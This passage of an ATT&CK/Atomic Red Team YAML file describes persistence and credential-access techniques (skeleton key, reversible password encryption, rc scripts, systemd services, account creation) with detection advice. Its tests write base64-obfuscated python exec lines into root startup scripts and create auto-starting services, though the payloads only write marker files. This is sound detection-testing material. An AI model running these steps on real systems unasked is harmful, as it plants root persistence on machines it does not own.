marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605 type: attack-pattern created: '2020-02-11T19:05:02.399Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1556.001 url: https://attack.mitre.org/techniques/T1556/001 - source_name: Dell Skeleton description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019. url: https://www.secureworks.com/research/skeleton-key-malware-analysis - url: https://technet.microsoft.com/en-us/library/dn487457.aspx description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. source_name: TechNet Audit Policy modified: '2022-04-25T14:00:00.188Z' name: Domain Controller Authentication description: "Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user’s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: "Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). " x_mitre_is_subtechnique: true x_mitre_version: '2.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'Process: Process Access' - 'File: File Modification' - 'Process: OS API Execution' x_mitre_permissions_required: - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1556.005: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48 type: attack-pattern created: '2022-01-13T20:02:28.349Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1556.005 url: https://attack.mitre.org/techniques/T1556/005 - source_name: store_pwd_rev_enc url: https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption description: Microsoft. (2021, October 28). Store passwords using reversible encryption. Retrieved January 3, 2022. - source_name: how_pwd_rev_enc_1 url: http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html description: 'Teusink, N. (2009, August 25). Passwords stored using reversible encryption: how it works (part 1). Retrieved November 17, 2021.' - source_name: how_pwd_rev_enc_2 url: http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html description: 'Teusink, N. (2009, August 26). Passwords stored using reversible encryption: how it works (part 2). Retrieved November 17, 2021.' - source_name: dump_pwd_dcsync url: https://adsecurity.org/?p=2053 description: Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021. modified: '2022-05-11T14:00:00.188Z' name: Reversible Encryption description: |- An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc) If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components: 1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters 2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters 3. Global LSA secret (G$MSRADIUSCHAPKEY) 4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL) With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2) An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to "Windows Server 2008" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: "Monitor property changes in Group Policy: Computer Configuration\\Windows Settings\\Security Settings\\Account Policies\\Password Policy\\Store passwords using reversible encryption. By default, the property should be set to Disabled.\n\nMonitor command-line usage for -AllowReversiblePasswordEncryption $true or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as Set-ADUser and Set-ADAccountControl, that change account configurations. \n\nMonitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)" x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Active Directory: Active Directory Object Modification' - 'Command: Command Execution' - 'User Account: User Account Metadata' - 'Script: Script Execution' x_mitre_permissions_required: - User - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1546.016: technique: modified: '2024-04-12T02:23:44.583Z' name: Installer Packages description: |- Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton) Using legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts) Depending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed. For Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.(Citation: Microsoft Installation Procedures) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Brandon Dalton @PartyD0lphin - Alexander Rodchenko x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'File: File Creation' x_mitre_effective_permissions: - root x_mitre_permissions_required: - User type: attack-pattern id: attack-pattern--da051493-ae9c-4b1b-9760-c009c46c9b56 created: '2022-09-27T18:02:16.026Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546/016 external_id: T1546.016 - source_name: Application Bundle Manipulation Brandon Dalton description: 'Brandon Dalton. (2022, August 9). A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation. Retrieved September 27, 2022.' url: https://redcanary.com/blog/mac-application-bundles/ - source_name: Debian Manual Maintainer Scripts description: Debian Policy Manual v4.6.1.1. (2022, August 14). Package maintainer scripts and installation procedure. Retrieved September 27, 2022. url: https://www.debian.org/doc/debian-policy/ch-maintainerscripts.html#s-mscriptsinstact - source_name: Windows AppleJeus GReAT description: 'Global Research & Analysis Team, Kaspersky Lab (GReAT). (2018, August 23). Operation AppleJeus: Lazarus hits cryptocurrency exchange with fake installer and macOS malware. Retrieved September 27, 2022.' url: https://securelist.com/operation-applejeus/87553/ - source_name: Microsoft Installation Procedures description: Microsoft. (2021, January 7). Installation Procedure Tables Group. Retrieved December 27, 2023. url: https://learn.microsoft.com/windows/win32/msi/installation-procedure-tables-group - source_name: wardle evilquest parti description: 'Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021.' url: https://objective-see.com/blog/blog_0x59.html - source_name: Installer Package Scripting Rich Trouton description: 'Rich Trouton. (2019, August 9). Installer Package Scripting: Making your deployments easier, one ! at a time. Retrieved September 27, 2022.' url: https://cpb-us-e1.wpmucdn.com/sites.psu.edu/dist/4/24696/files/2019/07/psumac2019-345-Installer-Package-Scripting-Making-your-deployments-easier-one-at-a-time.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1037.004: technique: modified: '2024-04-16T12:22:29.150Z' name: 'Boot or Logon Initialization Scripts: Rc.common' description: |- Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify. Adversaries can establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence. Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware) Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_deprecated: false x_mitre_detection: "Monitor for unexpected changes to RC scripts in the /etc/ directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior.\n\nMonitor for /etc/rc.local file creation. Although types of RC scripts vary for each Unix-like distribution, several execute /etc/rc.local if present. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - macOS - Linux - Network x_mitre_version: '2.1' x_mitre_data_sources: - 'File: File Creation' - 'Process: Process Creation' - 'File: File Modification' - 'Command: Command Execution' x_mitre_permissions_required: - root type: attack-pattern id: attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211 created: '2020-01-15T16:25:22.260Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1037/004 external_id: T1037.004 - source_name: Apple Developer Doco Archive Launchd description: Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021. url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html - source_name: Startup Items description: Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017. url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html - source_name: Ubuntu Manpage systemd rc description: Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021. url: http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html - source_name: IranThreats Kittens Dec 2017 description: Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020. url: https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/ - source_name: Methods of Mac Malware Persistence description: Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - source_name: intezer-kaiji-malware description: 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.' url: https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/ - source_name: Intezer HiddenWasp Map 2019 description: Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019. url: https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1037.004 atomic_tests: - name: rc.common auto_generated_guid: 97a48daa-8bca-4bc0-b1a9-c1d163e762de description: | Modify rc.common [Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html) supported_platforms: - macos executor: command: 'sudo echo osascript -e ''tell app "Finder" to display dialog "Hello World"'' >> /etc/rc.common ' elevation_required: true name: bash - name: rc.common auto_generated_guid: c33f3d80-5f04-419b-a13a-854d1cbdbf3a description: 'Modify rc.common ' supported_platforms: - linux executor: name: bash elevation_required: true command: | filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.common echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\"" | sudo tee -a /etc/rc.common printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.common sudo chmod +x /etc/rc.common cleanup_command: 'origfilename=''/etc/rc.common.original'';if [ ! -f $origfilename ];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common && sudo rm $origfilename;fi ' - name: rc.local auto_generated_guid: 126f71af-e1c9-405c-94ef-26a47b16c102 description: 'Modify rc.local ' supported_platforms: - linux executor: name: sh elevation_required: true command: | filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi [ "$(uname)" = 'FreeBSD' ] && alias python3=python3.9 && printf '#\!/usr/local/bin/bash' | sudo tee /etc/rc.local || printf '#!/bin/bash' | sudo tee /etc/rc.local echo "\npython3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\"" | sudo tee -a /etc/rc.local printf 'exit 0' | sudo tee -a /etc/rc.local sudo chmod +x /etc/rc.local cleanup_command: 'origfilename=''/etc/rc.local.original'';if [ ! -f $origfilename ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local && sudo rm $origfilename;fi ' T1543.002: technique: modified: '2024-02-15T14:19:22.282Z' name: 'Create or Modify System Process: SysV/Systemd Service' description: "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014) Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible. \n\nSystemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`).(Citation: lambert systemd 2022) \n\nInside the `.service` unit files, the following directives are used to execute commands:(Citation: freedesktop systemd.service) \n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start.\n* `ExecReload` directive executes when a service restarts. \n* `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped. \n\nAdversaries have created new service files, altered the commands a `.service` file’s directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation. Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.(Citation: Anomali Rocke March 2019)(Citation: airwalk backdoor unix systems)(Citation: Rapid7 Service Persistence 22JUNE2016) \n\nThe .service file’s User directive can be used to run service as a specific user, which could result in privilege escalation based on specific user/group permissions. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Tony Lambert, Red Canary - Emad Al-Mousa, Saudi Aramco - Tim (Wadhwa-)Brown x_mitre_deprecated: false x_mitre_detection: "Monitor file creation and modification events of Systemd service unit configuration files in the default directory locations for `root` & `user` level permissions. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the `root` user.(Citation: lambert systemd 2022) \n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: `systemctl list-units -–type=service –all`. Analyze the contents of `.service` files present on the file system and ensure that they refer to legitimate, expected executables, and symbolic links.(Citation: Berba hunting linux systemd)\n\nAuditing the execution and command-line arguments of the `systemctl` utility, as well related utilities such as `/usr/sbin/service` may reveal malicious systemd service execution." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux x_mitre_version: '1.5' x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Modification' - 'Service: Service Creation' - 'Service: Service Modification' - 'Process: Process Creation' - 'File: File Creation' x_mitre_permissions_required: - User - root type: attack-pattern id: attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b created: '2020-01-17T16:15:19.870Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1543/002 external_id: T1543.002 - source_name: airwalk backdoor unix systems description: airwalk. (2023, January 1). A guide to backdooring Unix systems. Retrieved May 31, 2023. url: http://www.ouah.org/backdoors.html - source_name: Anomali Rocke March 2019 description: Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019. url: https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang - source_name: freedesktop systemd.service description: Free Desktop. (n.d.). systemd.service — Service unit configuration. Retrieved March 20, 2023. url: https://www.freedesktop.org/software/systemd/man/systemd.service.html - source_name: 'Linux man-pages: systemd January 2014' description: Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019. url: http://man7.org/linux/man-pages/man1/systemd.1.html - source_name: Berba hunting linux systemd description: 'Pepe Berba. (2022, January 30). Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron. Retrieved March 20, 2023.' url: https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/ - source_name: Rapid7 Service Persistence 22JUNE2016 description: Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019. url: https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence - source_name: lambert systemd 2022 description: 'Tony Lambert. (2022, November 13). ATT&CK T1501: Understanding systemd service persistence. Retrieved March 20, 2023.' url: https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1543.002 atomic_tests: - name: Create Systemd Service auto_generated_guid: d9e4f24f-aa67-4c6e-bcbf-85622b697a7c description: 'This test creates a Systemd service unit file and enables it as a service. ' supported_platforms: - linux input_arguments: systemd_service_path: description: Path to systemd service unit file type: path default: "/etc/systemd/system" systemd_service_file: description: File name of systemd service unit file type: string default: art-systemd-service.service execstoppost_action: description: ExecStopPost action for Systemd service type: string default: "/bin/touch /tmp/art-systemd-execstoppost-marker" execreload_action: description: ExecReload action for Systemd service type: string default: "/bin/touch /tmp/art-systemd-execreload-marker" execstart_action: description: ExecStart action for Systemd service type: string default: "/bin/touch /tmp/art-systemd-execstart-marker" execstop_action: description: ExecStop action for Systemd service type: string default: "/bin/touch /tmp/art-systemd-execstop-marker" execstartpre_action: description: ExecStartPre action for Systemd service type: string default: "/bin/touch /tmp/art-systemd-execstartpre-marker" execstartpost_action: description: ExecStartPost action for Systemd service type: string default: "/bin/touch /tmp/art-systemd-execstartpost-marker" executor: command: | echo "[Unit]" > #{systemd_service_path}/#{systemd_service_file} echo "Description=Atomic Red Team Systemd Service" >> #{systemd_service_path}/#{systemd_service_file} echo "" >> #{systemd_service_path}/#{systemd_service_file} echo "[Service]" >> #{systemd_service_path}/#{systemd_service_file} echo "Type=simple" echo "ExecStart=#{execstart_action}" >> #{systemd_service_path}/#{systemd_service_file} echo "ExecStartPre=#{execstartpre_action}" >> #{systemd_service_path}/#{systemd_service_file} echo "ExecStartPost=#{execstartpost_action}" >> #{systemd_service_path}/#{systemd_service_file} echo "ExecReload=#{execreload_action}" >> #{systemd_service_path}/#{systemd_service_file} echo "ExecStop=#{execstop_action}" >> #{systemd_service_path}/#{systemd_service_file} echo "ExecStopPost=#{execstoppost_action}" >> #{systemd_service_path}/#{systemd_service_file} echo "" >> #{systemd_service_path}/#{systemd_service_file} echo "[Install]" >> #{systemd_service_path}/#{systemd_service_file} echo "WantedBy=default.target" >> #{systemd_service_path}/#{systemd_service_file} systemctl daemon-reload systemctl enable #{systemd_service_file} systemctl start #{systemd_service_file} cleanup_command: | systemctl stop #{systemd_service_file} systemctl disable #{systemd_service_file} rm -rf #{systemd_service_path}/#{systemd_service_file} systemctl daemon-reload name: bash - name: Create SysV Service auto_generated_guid: 760fe8d2-79d9-494f-905e-a239a3df86f6 description: 'This test creates a SysV service unit file and enables it as a service. ' supported_platforms: - linux input_arguments: rc_service_path: description: Path to rc service file type: path default: "/usr/local/etc/rc.d" rc_service_file: description: File name of rc service file type: string default: art-test executor: command: "echo '#\\!/bin/sh' > #{rc_service_path}/#{rc_service_file}\necho ' ' >> #{rc_service_path}/#{rc_service_file}\necho '#' >> #{rc_service_path}/#{rc_service_file}\necho '# PROVIDE: art-test' >> #{rc_service_path}/#{rc_service_file}\necho '# REQUIRE: LOGIN' >> #{rc_service_path}/#{rc_service_file}\necho '# KEYWORD: shutdown' >> #{rc_service_path}/#{rc_service_file}\necho ' ' >> #{rc_service_path}/#{rc_service_file}\necho '. /etc/rc.subr' >> #{rc_service_path}/#{rc_service_file}\necho ' ' >> #{rc_service_path}/#{rc_service_file}\necho 'name=\"art_test\"' >> #{rc_service_path}/#{rc_service_file}\necho 'rcvar=art_test_enable' >> #{rc_service_path}/#{rc_service_file}\necho 'load_rc_config ${name}' >> #{rc_service_path}/#{rc_service_file}\necho 'command=\"/usr/bin/touch\"' >> #{rc_service_path}/#{rc_service_file}\necho 'start_cmd=\"art_test_start\"' >> #{rc_service_path}/#{rc_service_file}\necho '' >> #{rc_service_path}/#{rc_service_file}\necho 'art_test_start()' >> #{rc_service_path}/#{rc_service_file} \necho '{' >> #{rc_service_path}/#{rc_service_file}\necho ' ${command} /tmp/art-test.marker' >> #{rc_service_path}/#{rc_service_file}\necho '}' >> #{rc_service_path}/#{rc_service_file}\necho ' ' >> #{rc_service_path}/#{rc_service_file} \necho 'run_rc_command \"$1\"' >> #{rc_service_path}/#{rc_service_file}\nchmod +x #{rc_service_path}/#{rc_service_file}\nservice art-test enable\nservice art-test start\n" cleanup_command: | sysrc -x art_test_enable rm -f #{rc_service_path}/#{rc_service_file} name: sh - name: Create Systemd Service file, Enable the service , Modify and Reload the service. auto_generated_guid: c35ac4a8-19de-43af-b9f8-755da7e89c89 description: "This test creates a systemd service unit file and enables it to autostart on boot. Once service is created and enabled, it also modifies this same service file showcasing both Creation and Modification of system process. \n" supported_platforms: - linux dependencies: - description: 'System must be Ubuntu ,Kali OR CentOS. ' prereq_command: 'if [ $(cat /etc/os-release | grep -i ID=ubuntu) ] || [ $(cat /etc/os-release | grep -i ID=kali) ] || [ $(cat /etc/os-release | grep -i ''ID="centos"'') ]; then exit /b 0; else exit /b 1; fi; ' get_prereq_command: 'echo Please run from Ubuntu ,Kali OR CentOS. ' executor: name: bash elevation_required: true command: "cat > /etc/init.d/T1543.002 << EOF\n#!/bin/bash\n### BEGIN INIT INFO\n# Provides : Atomic Test T1543.002\n# Required-Start: $all\n# Required-Stop : \n# Default-Start: 2 3 4 5\n# Default-Stop: \n# Short Description: Atomic Test for Systemd Service Creation\n### END INIT INFO\npython3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBDcmVhdGluZyBTeXN0ZW1kIFNlcnZpY2UgVDE1NDMuMDAyID4gL3RtcC9UMTU0My4wMDIuc3lzdGVtZC5zZXJ2aWNlLmNyZWF0aW9uJykK'))\"\nEOF\n\nchmod +x /etc/init.d/T1543.002\nif [ $(cat /etc/os-release | grep -i ID=ubuntu) ] || [ $(cat /etc/os-release | grep -i ID=kali) ]; then update-rc.d T1543.002 defaults; elif [ $(cat /etc/os-release | grep -i 'ID=\"centos\"') ]; then chkconfig T1543.002 on ; else echo \"Please run this test on Ubnutu , kali OR centos\" ; fi ;\nsystemctl enable T1543.002\nsystemctl start T1543.002\n\necho \"python3 -c \\\"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgYSBTeXN0ZW1kIFNlcnZpY2UgVDE1NDMuMDAyID4gL3RtcC9UMTU0My4wMDIuc3lzdGVtZC5zZXJ2aWNlLm1vZGlmaWNhdGlvbicpCg=='))\\\"\" | sudo tee -a /etc/init.d/T1543.002\nsystemctl daemon-reload\nsystemctl restart T1543.002\n" cleanup_command: | systemctl stop T1543.002 systemctl disable T1543.002 rm -rf /etc/init.d/T1543.002 systemctl daemon-reload T1136: technique: modified: '2024-01-31T20:46:43.215Z' name: Create Account description: |- Adversaries may create an account to maintain access to victim systems.(Citation: Symantec WastedLocker June 2020) With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. Accounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Microsoft Threat Intelligence Center (MSTIC) - Praetorian - Austin Clark, @c2defense x_mitre_deprecated: false x_mitre_detection: |- Monitor for processes and command-line parameters associated with account creation, such as net user or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary. Collect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Azure AD - Office 365 - IaaS - Linux - macOS - Google Workspace - Network - Containers - SaaS x_mitre_version: '2.4' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'User Account: User Account Creation' type: attack-pattern id: attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67 created: '2017-12-14T16:46:06.044Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1136 external_id: T1136 - source_name: Microsoft User Creation Event description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.' url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720 - source_name: Symantec WastedLocker June 2020 description: 'Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021.' url: https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us 